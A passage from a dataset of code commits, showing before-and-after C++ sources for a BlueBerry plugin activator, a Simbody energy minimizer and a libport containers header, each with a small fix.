regContributor->GetActualId().toLong(&okay);\n if (okay)\n {\n if (context != nullptr)\n {\n return context->getPlugin(id);\n }\n }\n else\n {\n \/\/ try using the name of the contributor below\n }\n }\n\n auto plugins = context->getPlugins();\n\n \/\/Return the first plugin that is not installed or uninstalled\n for (auto plugin : plugins)\n {\n if (!(plugin->getState() == ctkPlugin::INSTALLED ||\n plugin->getState() == ctkPlugin::UNINSTALLED))\n {\n return plugin;\n }\n }\n return QSharedPointer<ctkPlugin>();\n}\n\norg_blueberry_core_runtime_Activator::org_blueberry_core_runtime_Activator()\n : userRegistryKey(new QObject())\n , masterRegistryKey(new QObject())\n{\n}\n\norg_blueberry_core_runtime_Activator::~org_blueberry_core_runtime_Activator()\n{\n}\n\nvoid org_blueberry_core_runtime_Activator::startRegistry()\n{\n \/\/ see if the customer suppressed the creation of default registry\n QString property = context->getProperty(RegistryConstants::PROP_DEFAULT_REGISTRY).toString();\n if (property.compare(\"false\", Qt::CaseInsensitive) == 0) return;\n\n \/\/ check to see if we need to use null as a userToken\n if (context->getProperty(RegistryConstants::PROP_REGISTRY_nullptr_USER_TOKEN).toString().compare(\"true\", Qt::CaseInsensitive) == 0)\n {\n userRegistryKey.reset(nullptr);\n }\n\n \/\/ Determine primary and alternative registry locations. BlueBerry extension registry cache\n \/\/ can be found in one of the two locations:\n \/\/ a) in the local configuration area (standard location passed in by the platform) -> priority\n \/\/ b) in the shared configuration area (typically, shared install is used)\n QList<QString> registryLocations;\n QList<bool> readOnlyLocations;\n\n RegistryStrategy* strategy = nullptr;\n \/\/Location configuration = OSGIUtils.getDefault().getConfigurationLocation();\n QString configuration = context->getDataFile(\"\").absoluteFilePath();\n if (configuration.isEmpty())\n {\n RegistryProperties::SetProperty(RegistryConstants::PROP_NO_REGISTRY_CACHE, \"true\");\n RegistryProperties::SetProperty(RegistryConstants::PROP_NO_LAZY_REGISTRY_CACHE_LOADING, \"true\");\n strategy = new RegistryStrategy(QList<QString>(), QList<bool>(), masterRegistryKey.data());\n }\n else\n {\n \/\/File primaryDir = new File(configuration.getURL().getPath() + '\/' + STORAGE_DIR);\n \/\/bool primaryReadOnly = configuration.isReadOnly();\n QString primaryDir = configuration;\n bool primaryReadOnly = false;\n\n \/\/Location parentLocation = configuration.getParentLocation();\n QString parentLocation;\n if (!parentLocation.isEmpty())\n {\n\/\/ File secondaryDir = new File(parentLocation.getURL().getFile() + '\/' + IRegistryConstants.RUNTIME_NAME);\n\/\/ registryLocations << primaryDir << secondaryDir;\n\/\/ readOnlyLocations << primaryReadOnly << true; \/\/ secondary BlueBerry location is always read only\n }\n else\n {\n registryLocations << primaryDir;\n readOnlyLocations << primaryReadOnly;\n }\n strategy = new RegistryStrategy(registryLocations, readOnlyLocations, masterRegistryKey.data());\n }\n\n auto registry = new ExtensionRegistry(strategy, masterRegistryKey.data(), userRegistryKey.data());\n defaultRegistry.reset(registry);\n\n registryServiceReg = context->registerService<IExtensionRegistry>(registry);\n \/\/commandRegistration = EquinoxUtils.registerCommandProvider(Activator.getContext());\n}\n\nvoid org_blueberry_core_runtime_Activator::stopRegistry()\n{\n if (!defaultRegistry.isNull())\n {\n registryServiceReg.unregister();\n defaultRegistry->Stop(masterRegistryKey.data());\n }\n\/\/ if (!commandRegistration.isNull())\n\/\/ {\n\/\/ commandRegistration.unregister();\n \/\/ }\n}\n\nvoid org_blueberry_core_runtime_Activator::startAppContainer()\n{\n appContainer.reset(new ApplicationContainer(context, defaultRegistry.data()));\n appContainer->Start();\n}\n\nvoid org_blueberry_core_runtime_Activator::stopAppContainer()\n{\n appContainer->Stop();\n}\n\n}\n<commit_msg>Fix external warning in dbghelp.h<commit_after>\/*===================================================================\n\nBlueBerry Platform\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#ifndef NOMINMAX\n#define NOMINMAX\n#endif\n\n#include \"berryCTKPluginActivator.h\"\n\n#include <berryIApplication.h>\n#include <berryIConfigurationElement.h>\n#include <berryIContributor.h>\n\n#include \"berryApplicationContainer.h\"\n#include \"berryPlatform.h\"\n#include \"berryInternalPlatform.h\"\n#include \"berryErrorApplication.h\"\n#include \"berryPreferencesService.h\"\n#include \"berryExtensionRegistry.h\"\n#include \"berryRegistryConstants.h\"\n#include \"berryRegistryProperties.h\"\n#include \"berryRegistryStrategy.h\"\n#include \"berryRegistryContributor.h\"\n\n#include <QCoreApplication>\n#include <QDebug>\n\nnamespace berry {\n\nstatic const QString XP_APPLICATIONS = \"org.blueberry.osgi.applications\";\n\nctkPluginContext* org_blueberry_core_runtime_Activator::context = nullptr;\nQScopedPointer<ApplicationContainer> org_blueberry_core_runtime_Activator::appContainer;\n\nconst bool org_blueberry_core_runtime_Activator::DEBUG = false;\n\nvoid org_blueberry_core_runtime_Activator::start(ctkPluginContext* context)\n{\n this->context = context;\n\n BERRY_REGISTER_EXTENSION_CLASS(ErrorApplication, context)\n\n RegistryProperties::SetContext(context);\n \/\/ProcessCommandLine();\n this->startRegistry();\n\n preferencesService.reset(new PreferencesService(context->getDataFile(\"\").absolutePath()));\n prefServiceReg = context->registerService<IPreferencesService>(preferencesService.data());\n\n\/\/ \/\/ register a listener to catch new plugin installations\/resolutions.\n\/\/ pluginListener.reset(new CTKPluginListener(m_ExtensionPointService));\n\/\/ context->connectPluginListener(pluginListener.data(), SLOT(pluginChanged(ctkPluginEvent)), Qt::DirectConnection);\n\n\/\/ \/\/ populate the registry with all the currently installed plugins.\n\/\/ \/\/ There is a small window here while processPlugins is being\n\/\/ \/\/ called where the pluginListener may receive a ctkPluginEvent\n\/\/ \/\/ to add\/remove a plugin from the registry. This is ok since\n\/\/ \/\/ the registry is a synchronized object and will not add the\n\/\/ \/\/ same bundle twice.\n\/\/ pluginListener->processPlugins(context->getPlugins());\n\n this->startAppContainer();\n\n InternalPlatform::GetInstance()->Start(context);\n\n}\n\nvoid org_blueberry_core_runtime_Activator::stop(ctkPluginContext* context)\n{\n InternalPlatform::GetInstance()->Stop(context);\n\n \/\/pluginListener.reset();\n\n \/\/Platform::GetServiceRegistry().UnRegisterService(IExtensionPointService::SERVICE_ID);\n\n prefServiceReg.unregister();\n preferencesService->ShutDown();\n preferencesService.reset();\n prefServiceReg = 0;\n\n this->stopRegistry();\n RegistryProperties::SetContext(nullptr);\n\n stopAppContainer();\n\n this->context = nullptr;\n}\n\nctkPluginContext* org_blueberry_core_runtime_Activator::getPluginContext()\n{\n return context;\n}\n\nApplicationContainer* org_blueberry_core_runtime_Activator::GetContainer()\n{\n return appContainer.data();\n}\n\n#if defined(Q_OS_LINUX) || defined(Q_OS_DARWIN) || defined(Q_CC_MINGW)\n\n#include <dlfcn.h>\nQString org_blueberry_core_runtime_Activator::getPluginId(void *symbol)\n{\n if (symbol == nullptr) return QString();\n\n Dl_info info = {nullptr,nullptr,nullptr,nullptr};\n if(dladdr(symbol, &info) == 0)\n {\n return QString();\n }\n else if(info.dli_fname)\n {\n QFile soPath(info.dli_fname);\n int index = soPath.fileName().lastIndexOf('.');\n QString pluginId = soPath.fileName().left(index);\n if (pluginId.startsWith(\"lib\"))\n pluginId = pluginId.mid(3);\n return pluginId.replace('_', '.');\n }\n return QString();\n}\n\n#elif defined(Q_CC_MSVC)\n\n#include <ctkBackTrace.h>\n#include <windows.h>\n\n#ifdef _MSC_VER\n# pragma warning(push)\n# pragma warning(disable: 4091)\n#endif\n\n#include <dbghelp.h>\n\n#ifdef _MSC_VER\n# pragma warning(pop)\n#endif\n\nQString org_blueberry_core_runtime_Activator::getPluginId(void *symbol)\n{\n if (symbol == nullptr) return QString();\n\n if (ctk::DebugSymInitialize())\n {\n std::vector<char> moduleBuffer(sizeof(IMAGEHLP_MODULE64));\n PIMAGEHLP_MODULE64 pModuleInfo = (PIMAGEHLP_MODULE64)&moduleBuffer.front();\n pModuleInfo->SizeOfStruct = sizeof(IMAGEHLP_MODULE64);\n if (SymGetModuleInfo64(GetCurrentProcess(), (DWORD64)symbol, pModuleInfo))\n {\n QString pluginId = pModuleInfo->ModuleName;\n return pluginId.replace('_', '.');\n }\n }\n return QString();\n}\n\n#endif\n\nQSharedPointer<ctkPlugin> org_blueberry_core_runtime_Activator::GetPlugin(const SmartPointer<IContributor>& contributor)\n{\n if (RegistryContributor::Pointer regContributor = contributor.Cast<RegistryContributor>())\n {\n bool okay = false;\n long id = regContributor->GetActualId().toLong(&okay);\n if (okay)\n {\n if (context != nullptr)\n {\n return context->getPlugin(id);\n }\n }\n else\n {\n \/\/ try using the name of the contributor below\n }\n }\n\n auto plugins = context->getPlugins();\n\n \/\/Return the first plugin that is not installed or uninstalled\n for (auto plugin : plugins)\n {\n if (!(plugin->getState() == ctkPlugin::INSTALLED ||\n plugin->getState() == ctkPlugin::UNINSTALLED))\n {\n return plugin;\n }\n }\n return QSharedPointer<ctkPlugin>();\n}\n\norg_blueberry_core_runtime_Activator::org_blueberry_core_runtime_Activator()\n : userRegistryKey(new QObject())\n , masterRegistryKey(new QObject())\n{\n}\n\norg_blueberry_core_runtime_Activator::~org_blueberry_core_runtime_Activator()\n{\n}\n\nvoid org_blueberry_core_runtime_Activator::startRegistry()\n{\n \/\/ see if the customer suppressed the creation of default registry\n QString property = context->getProperty(RegistryConstants::PROP_DEFAULT_REGISTRY).toString();\n if (property.compare(\"false\", Qt::CaseInsensitive) == 0) return;\n\n \/\/ check to see if we need to use null as a userToken\n if (context->getProperty(RegistryConstants::PROP_REGISTRY_nullptr_USER_TOKEN).toString().compare(\"true\", Qt::CaseInsensitive) == 0)\n {\n userRegistryKey.reset(nullptr);\n }\n\n \/\/ Determine primary and alternative registry locations. BlueBerry extension registry cache\n \/\/ can be found in one of the two locations:\n \/\/ a) in the local configuration area (standard location passed in by the platform) -> priority\n \/\/ b) in the shared configuration area (typically, shared install is used)\n QList<QString> registryLocations;\n QList<bool> readOnlyLocations;\n\n RegistryStrategy* strategy = nullptr;\n \/\/Location configuration = OSGIUtils.getDefault().getConfigurationLocation();\n QString configuration = context->getDataFile(\"\").absoluteFilePath();\n if (configuration.isEmpty())\n {\n RegistryProperties::SetProperty(RegistryConstants::PROP_NO_REGISTRY_CACHE, \"true\");\n RegistryProperties::SetProperty(RegistryConstants::PROP_NO_LAZY_REGISTRY_CACHE_LOADING, \"true\");\n strategy = new RegistryStrategy(QList<QString>(), QList<bool>(), masterRegistryKey.data());\n }\n else\n {\n \/\/File primaryDir = new File(configuration.getURL().getPath() + '\/' + STORAGE_DIR);\n \/\/bool primaryReadOnly = configuration.isReadOnly();\n QString primaryDir = configuration;\n bool primaryReadOnly = false;\n\n \/\/Location parentLocation = configuration.getParentLocation();\n QString parentLocation;\n if (!parentLocation.isEmpty())\n {\n\/\/ File secondaryDir = new File(parentLocation.getURL().getFile() + '\/' + IRegistryConstants.RUNTIME_NAME);\n\/\/ registryLocations << primaryDir << secondaryDir;\n\/\/ readOnlyLocations << primaryReadOnly << true; \/\/ secondary BlueBerry location is always read only\n }\n else\n {\n registryLocations << primaryDir;\n readOnlyLocations << primaryReadOnly;\n }\n strategy = new RegistryStrategy(registryLocations, readOnlyLocations, masterRegistryKey.data());\n }\n\n auto registry = new ExtensionRegistry(strategy, masterRegistryKey.data(), userRegistryKey.data());\n defaultRegistry.reset(registry);\n\n registryServiceReg = context->registerService<IExtensionRegistry>(registry);\n \/\/commandRegistration = EquinoxUtils.registerCommandProvider(Activator.getContext());\n}\n\nvoid org_blueberry_core_runtime_Activator::stopRegistry()\n{\n if (!defaultRegistry.isNull())\n {\n registryServiceReg.unregister();\n defaultRegistry->Stop(masterRegistryKey.data());\n }\n\/\/ if (!commandRegistration.isNull())\n\/\/ {\n\/\/ commandRegistration.unregister();\n \/\/ }\n}\n\nvoid org_blueberry_core_runtime_Activator::startAppContainer()\n{\n appContainer.reset(new ApplicationContainer(context, defaultRegistry.data()));\n appContainer->Start();\n}\n\nvoid org_blueberry_core_runtime_Activator::stopAppContainer()\n{\n appContainer->Stop();\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/* -------------------------------------------------------------------------- *\n * SimTK Core: SimTK Simbody(tm) *\n * -------------------------------------------------------------------------- *\n * This is part of the SimTK Core biosimulation toolkit originating from *\n * Simbios, the NIH National Center for Physics-Based Simulation of *\n * Biological Structures at Stanford, funded under the NIH Roadmap for *\n * Medical Research, grant U54 GM072970. See https:\/\/simtk.org. *\n * *\n * Portions copyright (c) 2007 Stanford University and the Authors. *\n * Authors: Peter Eastman *\n * Contributors: *\n * *\n * Permission is hereby granted, free of charge, to any person obtaining a *\n * copy of this software and associated documentation files (the \"Software\"), *\n * to deal in the Software without restriction, including without limitation *\n * the rights to use, copy, modify, merge, publish, distribute, sublicense, *\n * and\/or sell copies of the Software, and to permit persons to whom the *\n * Software is furnished to do so, subject to the following conditions: *\n * *\n * The above copyright notice and this permission notice shall be included in *\n * all copies or substantial portions of the Software. *\n * *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR *\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, *\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL *\n * THE AUTHORS, CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, *\n * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR *\n * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE *\n * USE OR OTHER DEALINGS IN THE SOFTWARE. *\n * -------------------------------------------------------------------------- *\/\n\n#include \"SimTKmath.h\"\n#include \"simbody\/internal\/MobilizedBody.h\"\n#include \"simbody\/internal\/MultibodySystem.h\"\n#include \"simbody\/internal\/LocalEnergyMinimizer.h\"\n#include \"simbody\/internal\/SimbodyMatterSubsystem.h\"\n#include <vector>\n#include <map>\n\nusing namespace SimTK;\nusing namespace std;\n\n\/**\n * This class defines the objective function which is passed to the Optimizer.\n *\/\n\nclass LocalEnergyMinimizer::OptimizerFunction : public OptimizerSystem {\npublic:\n \/\/ stateIn must be realized to Model stage already.\n OptimizerFunction(const MultibodySystem& system, const State& stateIn)\n : OptimizerSystem(stateIn.getNQ()), system(system), state(stateIn) {\n state.updU() = 0; \/\/ no velocities\n system.realize(state, Stage::Time); \/\/ we'll only change Position stage and above\n setNumEqualityConstraints(state.getNQErr());\n }\n int objectiveFunc(const Vector& parameters, const bool new_parameters, Real& f) const {\n if (new_parameters)\n state.updQ() = parameters;\n system.realize(state, Stage::Dynamics);\n f = system.calcPotentialEnergy(state);\n return 0;\n }\n int gradientFunc(const Vector& parameters, const bool new_parameters, Vector& gradient) const {\n if (new_parameters)\n state.updQ() = parameters;\n system.realize(state, Stage::Dynamics);\n Vector_<SpatialVec> dEdR = system.getRigidBodyForces(state, Stage::Dynamics);\n const SimbodyMatterSubsystem& matter = system.getMatterSubsystem();\n Vector dEdU;\n matter.calcInternalGradientFromSpatial(state, dEdR, dEdU);\n dEdU -= system.getMobilityForces(state, Stage::Dynamics);\n matter.multiplyByNInv(state, true, -1.0*dEdU, gradient);\n return 0;\n }\n int constraintFunc(const Vector& parameters, const bool new_parameters, Vector& constraints) const {\n state.updQ() = parameters;\n system.realize(state, Stage::Position);\n constraints = state.getQErr();\n return 0;\n }\n void optimize(Vector& q, Real tolerance) {\n Optimizer opt(*this);\n opt.useNumericalJacobian(true);\n opt.setConvergenceTolerance(tolerance);\n opt.optimize(q);\n }\nprivate:\n const MultibodySystem& system;\n mutable State state;\n};\n\nvoid LocalEnergyMinimizer::minimizeEnergy(const MultibodySystem& system, State& state, Real tolerance) {\n const SimbodyMatterSubsystem& matter = system.getMatterSubsystem();\n State tempState = state;\n matter.setUseEulerAngles(tempState, true);\n system.realizeModel(tempState);\n if (!matter.getUseEulerAngles(state))\n matter.convertToEulerAngles(state, tempState);\n OptimizerFunction optimizer(system, tempState);\n Vector q = tempState.getQ();\n optimizer.optimize(q, tolerance);\n if (matter.getUseEulerAngles(state))\n state.updQ() = q;\n else {\n tempState.updQ() = q;\n matter.convertToQuaternions(tempState, state);\n }\n}\n<commit_msg>Make LocalEnergyMinimizer do a final realize.<commit_after>\/* -------------------------------------------------------------------------- *\n * SimTK Core: SimTK Simbody(tm) *\n * -------------------------------------------------------------------------- *\n * This is part of the SimTK Core biosimulation toolkit originating from *\n * Simbios, the NIH National Center for Physics-Based Simulation of *\n * Biological Structures at Stanford, funded under the NIH Roadmap for *\n * Medical Research, grant U54 GM072970. See https:\/\/simtk.org. *\n * *\n * Portions copyright (c) 2007 Stanford University and the Authors. *\n * Authors: Peter Eastman *\n * Contributors: *\n * *\n * Permission is hereby granted, free of charge, to any person obtaining a *\n * copy of this software and associated documentation files (the \"Software\"), *\n * to deal in the Software without restriction, including without limitation *\n * the rights to use, copy, modify, merge, publish, distribute, sublicense, *\n * and\/or sell copies of the Software, and to permit persons to whom the *\n * Software is furnished to do so, subject to the following conditions: *\n * *\n * The above copyright notice and this permission notice shall be included in *\n * all copies or substantial portions of the Software. *\n * *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR *\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, *\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL *\n * THE AUTHORS, CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, *\n * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR *\n * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE *\n * USE OR OTHER DEALINGS IN THE SOFTWARE. *\n * -------------------------------------------------------------------------- *\/\n\n#include \"SimTKmath.h\"\n#include \"simbody\/internal\/MobilizedBody.h\"\n#include \"simbody\/internal\/MultibodySystem.h\"\n#include \"simbody\/internal\/LocalEnergyMinimizer.h\"\n#include \"simbody\/internal\/SimbodyMatterSubsystem.h\"\n#include <vector>\n#include <map>\n\nusing namespace SimTK;\nusing namespace std;\n\n\/**\n * This class defines the objective function which is passed to the Optimizer.\n *\/\n\nclass LocalEnergyMinimizer::OptimizerFunction : public OptimizerSystem {\npublic:\n \/\/ stateIn must be realized to Model stage already.\n OptimizerFunction(const MultibodySystem& system, const State& stateIn)\n : OptimizerSystem(stateIn.getNQ()), system(system), state(stateIn) {\n state.updU() = 0; \/\/ no velocities\n system.realize(state, Stage::Time); \/\/ we'll only change Position stage and above\n setNumEqualityConstraints(state.getNQErr());\n }\n int objectiveFunc(const Vector& parameters, const bool new_parameters, Real& f) const {\n if (new_parameters)\n state.updQ() = parameters;\n system.realize(state, Stage::Dynamics);\n f = system.calcPotentialEnergy(state);\n return 0;\n }\n int gradientFunc(const Vector& parameters, const bool new_parameters, Vector& gradient) const {\n if (new_parameters)\n state.updQ() = parameters;\n system.realize(state, Stage::Dynamics);\n Vector_<SpatialVec> dEdR = system.getRigidBodyForces(state, Stage::Dynamics);\n const SimbodyMatterSubsystem& matter = system.getMatterSubsystem();\n Vector dEdU;\n matter.calcInternalGradientFromSpatial(state, dEdR, dEdU);\n dEdU -= system.getMobilityForces(state, Stage::Dynamics);\n matter.multiplyByNInv(state, true, -1.0*dEdU, gradient);\n return 0;\n }\n int constraintFunc(const Vector& parameters, const bool new_parameters, Vector& constraints) const {\n state.updQ() = parameters;\n system.realize(state, Stage::Position);\n constraints = state.getQErr();\n return 0;\n }\n void optimize(Vector& q, Real tolerance) {\n Optimizer opt(*this);\n opt.useNumericalJacobian(true);\n opt.setConvergenceTolerance(tolerance);\n opt.optimize(q);\n }\nprivate:\n const MultibodySystem& system;\n mutable State state;\n};\n\nvoid LocalEnergyMinimizer::minimizeEnergy(const MultibodySystem& system, State& state, Real tolerance) {\n const SimbodyMatterSubsystem& matter = system.getMatterSubsystem();\n State tempState = state;\n matter.setUseEulerAngles(tempState, true);\n system.realizeModel(tempState);\n if (!matter.getUseEulerAngles(state))\n matter.convertToEulerAngles(state, tempState);\n OptimizerFunction optimizer(system, tempState);\n Vector q = tempState.getQ();\n optimizer.optimize(q, tolerance);\n if (matter.getUseEulerAngles(state))\n state.updQ() = q;\n else {\n tempState.updQ() = q;\n matter.convertToQuaternions(tempState, state);\n }\n system.realize(state, Stage::Dynamics);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2009, 2010, Gostai S.A.S.\n *\n * This software is provided \"as is\" without warranty of any kind,\n * either expressed or implied, including but not limited to the\n * implied warranties of fitness for a particular purpose.\n *\n * See the LICENSE file for more information.\n *\/\n\n\/**\n ** \\file libport\/containers.hh\n ** \\brief Some syntactic sugar to look for things in STL containers.\n *\/\n\n#ifndef LIBPORT_CONTAINERS_HH\n# define LIBPORT_CONTAINERS_HH\n\n# include <deque>\n# include <iosfwd>\n# include <list>\n# include <set>\n# include <vector>\n\nnamespace libport\n{\n\n \/\/\/ Invoke delete on all the members of \\a c, and clear it.\n template<typename Container>\n void\n deep_clear(Container& c);\n\n \/\/\/ Find \\a v in the whole \\a c.\n template<typename Container>\n inline typename Container::const_iterator\n find(const Container& c, const typename Container::value_type& v);\n\n \/\/\/ Find \\a v in the whole \\a c.\n template<typename Container>\n inline typename Container::iterator\n find(Container& c, const typename Container::value_type& v);\n\n \/\/\/ Look up for \\c k in \\a c, return its value, or 0 if unknown.\n \/\/\/\n \/\/\/ For associative containers mapping pointers.\n template<typename Container>\n inline typename Container::mapped_type\n find0(Container& c, const typename Container::key_type& k);\n\n \/\/\/ Apply \\a f to all the members of \\a c, and return it.\n template<typename Container, typename Functor>\n inline Functor&\n for_each(Container& c, Functor& v);\n\n \/\/\/ Is \\a v member of \\a c?\n template<typename Container>\n inline bool\n has(const Container& c, const typename Container::value_type& v);\n\n \/\/\/ Is \\a v member of \\a c? Use member find (set, map, hash_map).\n template<typename Container>\n inline bool\n mhas(const Container& c, const typename Container::key_type& v);\n\n \/\/\/ Insert or update \\a key -> \\a value in \\a map, return iterator to it.\n template<typename Map>\n typename Map::iterator\n put(Map& map,\n const typename Map::key_type& key,\n const typename Map::mapped_type& value);\n\n\n \/\/ Does at least one member of \\a c satisfy predicate \\a f ?\n template<typename Container, typename Functor>\n bool\n has_if(const Container& c, const Functor& f);\n\n \/\/ Erase members of \\a c satisfying predicate \\a f. This does not\n \/\/ preserve the order of the members in the container.\n template<typename Container, typename Functor>\n void\n erase_if(Container& c, const Functor& f);\n\n} \/\/ namespace libport\n\n\nnamespace std\n{\n\n \/*---------------------.\n | Container << Value. |\n `---------------------*\/\n\n#define APPLY_ON_BACK_INSERTION_CONTAINERS(Macro) \\\n Macro(::std::deque); \\\n Macro(::std::list); \\\n Macro(::std::vector);\n\n \/\/ Push back with '<<'.\n#define INSERT(Container) \\\n template<typename Lhs, typename Alloc, \\\n typename Rhs> \\\n Container<Lhs, Alloc>& \\\n operator<<(Container<Lhs, Alloc>& c, const Rhs& v)\n\n APPLY_ON_BACK_INSERTION_CONTAINERS(INSERT)\n\n#undef INSERT\n\n\n \/*---------------------------------.\n | Associative Container << Value. |\n `---------------------------------*\/\n\n#define APPLY_ON_ASSOCIATIVE_CONTAINERS(Macro) \\\n Macro(::std::set);\n\n \/\/ Insert with '<<'.\n#define INSERT(Container) \\\n template<typename Lhs, typename Alloc, \\\n typename Rhs> \\\n Container<Lhs, Alloc>& \\\n operator<<(Container<Lhs, Alloc>& c, const Rhs& v)\n\n APPLY_ON_ASSOCIATIVE_CONTAINERS(INSERT)\n\n#undef INSERT\n\n\n \/*-------------------------.\n | Container == Container. |\n `-------------------------*\/\n\nnamespace libport\n{\n#define APPLY_ON_CONTAINERS(Macro) \\\n APPLY_ON_ASSOCIATIVE_CONTAINERS(Macro) \\\n APPLY_ON_BACK_INSERTION_CONTAINERS(Macro)\n\n \/\/ ::std::list already provides this.\n#define APPLY_ON_EQUAL_CONTAINERS(Macro) \\\n Macro(::std::deque); \\\n Macro(::std::vector); \\\n Macro(::std::set);\n\n \/\/ Compare two containers.\n#define LIBPORT_CONTAINERS_DECLARE_EQUAL(Container) \\\n template <typename E, typename A> \\\n bool operator==(const Container<E, A>& lhs, \\\n const Container<E, A>& rhs);\n\n APPLY_ON_EQUAL_CONTAINERS(LIBPORT_CONTAINERS_DECLARE_EQUAL)\n#undef LIBPORT_CONTAINERS_DECLARE_EQUAL\n}\n\n \/*-------------------------.\n | Container << Container. |\n `-------------------------*\/\n\n#define APPLY_ON_CONTAINERS_CONTAINERS(Macro) \\\n Macro(::std::deque, ::std::deque); \\\n Macro(::std::list, ::std::list); \\\n Macro(::std::list, ::std::set); \\\n Macro(::std::set, ::std::set); \\\n Macro(::std::set, ::std::vector); \\\n Macro(::std::vector, ::std::set); \\\n Macro(::std::vector, ::std::vector);\n\n \/\/ Concatenate with '<<'.\n \/\/ Arguably concatenation should be `+='. Consider the case\n \/\/ of appending a container to a container of containers. Or use\n \/\/ an intermediate function, say 'c1 << contents(c2)'.\n#define INSERT(Cont1, Cont2) \\\n template<typename Lhs, typename Alloc1, \\\n typename Rhs, typename Alloc2> \\\n Cont1<Lhs, Alloc1>& \\\n operator<< (Cont1<Lhs, Alloc1>& c, \\\n const Cont2<Rhs, Alloc2>& vs)\n\n APPLY_ON_CONTAINERS_CONTAINERS(INSERT)\n\n#undef INSERT\n\n\n} \/\/ namespace std\n\n# include <libport\/containers.hxx>\n\n#endif \/\/ !LIBPORT_CONTAINERS_HH\n<commit_msg>Add << operator to print vectors.<commit_after>\/*\n * Copyright (C) 2009, 2010, Gostai S.A.S.\n *\n * This software is provided \"as is\" without warranty of any kind,\n * either expressed or implied, including but not limited to the\n * implied warranties of fitness for a particular purpose.\n *\n * See the LICENSE file for more information.\n *\/\n\n\/**\n ** \\file libport\/containers.hh\n ** \\brief Some syntactic sugar to look for things in STL containers.\n *\/\n\n#ifndef LIBPORT_CONTAINERS_HH\n# define LIBPORT_CONTAINERS_HH\n\n# include <deque>\n# include <iosfwd>\n# include <list>\n# include <set>\n# include <vector>\n\n# include <libport\/foreach.hh>\n\nnamespace libport\n{\n\n \/\/\/ Invoke delete on all the members of \\a c, and clear it.\n template<typename Container>\n void\n deep_clear(Container& c);\n\n \/\/\/ Find \\a v in the whole \\a c.\n template<typename Container>\n inline typename Container::const_iterator\n find(const Container& c, const typename Container::value_type& v);\n\n \/\/\/ Find \\a v in the whole \\a c.\n template<typename Container>\n inline typename Container::iterator\n find(Container& c, const typename Container::value_type& v);\n\n \/\/\/ Look up for \\c k in \\a c, return its value, or 0 if unknown.\n \/\/\/\n \/\/\/ For associative containers mapping pointers.\n template<typename Container>\n inline typename Container::mapped_type\n find0(Container& c, const typename Container::key_type& k);\n\n \/\/\/ Apply \\a f to all the members of \\a c, and return it.\n template<typename Container, typename Functor>\n inline Functor&\n for_each(Container& c, Functor& v);\n\n \/\/\/ Is \\a v member of \\a c?\n template<typename Container>\n inline bool\n has(const Container& c, const typename Container::value_type& v);\n\n \/\/\/ Is \\a v member of \\a c? Use member find (set, map, hash_map).\n template<typename Container>\n inline bool\n mhas(const Container& c, const typename Container::key_type& v);\n\n \/\/\/ Insert or update \\a key -> \\a value in \\a map, return iterator to it.\n template<typename Map>\n typename Map::iterator\n put(Map& map,\n const typename Map::key_type& key,\n const typename Map::mapped_type& value);\n\n\n \/\/ Does at least one member of \\a c satisfy predicate \\a f ?\n template<typename Container, typename Functor>\n bool\n has_if(const Container& c, const Functor& f);\n\n \/\/ Erase members of \\a c satisfying predicate \\a f. This does not\n \/\/ preserve the order of the members in the container.\n template<typename Container, typename Functor>\n void\n erase_if(Container& c, const Functor& f);\n\n} \/\/ namespace libport\n\n\nnamespace std\n{\n\n \/*---------------------.\n | Container << Value. |\n `---------------------*\/\n\n#define APPLY_ON_BACK_INSERTION_CONTAINERS(Macro) \\\n Macro(::std::deque); \\\n Macro(::std::list); \\\n Macro(::std::vector);\n\n \/\/ Push back with '<<'.\n#define INSERT(Container) \\\n template<typename Lhs, typename Alloc, \\\n typename Rhs> \\\n Container<Lhs, Alloc>& \\\n operator<<(Container<Lhs, Alloc>& c, const Rhs& v)\n\n APPLY_ON_BACK_INSERTION_CONTAINERS(INSERT)\n\n#undef INSERT\n\n\n \/*---------------------------------.\n | Associative Container << Value. |\n `---------------------------------*\/\n\n#define APPLY_ON_ASSOCIATIVE_CONTAINERS(Macro) \\\n Macro(::std::set);\n\n \/\/ Insert with '<<'.\n#define INSERT(Container) \\\n template<typename Lhs, typename Alloc, \\\n typename Rhs> \\\n Container<Lhs, Alloc>& \\\n operator<<(Container<Lhs, Alloc>& c, const Rhs& v)\n\n APPLY_ON_ASSOCIATIVE_CONTAINERS(INSERT)\n\n#undef INSERT\n\n\n \/*-------------------------.\n | Container == Container. |\n `-------------------------*\/\n\nnamespace libport\n{\n#define APPLY_ON_CONTAINERS(Macro) \\\n APPLY_ON_ASSOCIATIVE_CONTAINERS(Macro) \\\n APPLY_ON_BACK_INSERTION_CONTAINERS(Macro)\n\n \/\/ ::std::list already provides this.\n#define APPLY_ON_EQUAL_CONTAINERS(Macro) \\\n Macro(::std::deque); \\\n Macro(::std::vector); \\\n Macro(::std::set);\n\n \/\/ Compare two containers.\n#define LIBPORT_CONTAINERS_DECLARE_EQUAL(Container) \\\n template <typename E, typename A> \\\n bool operator==(const Container<E, A>& lhs, \\\n const 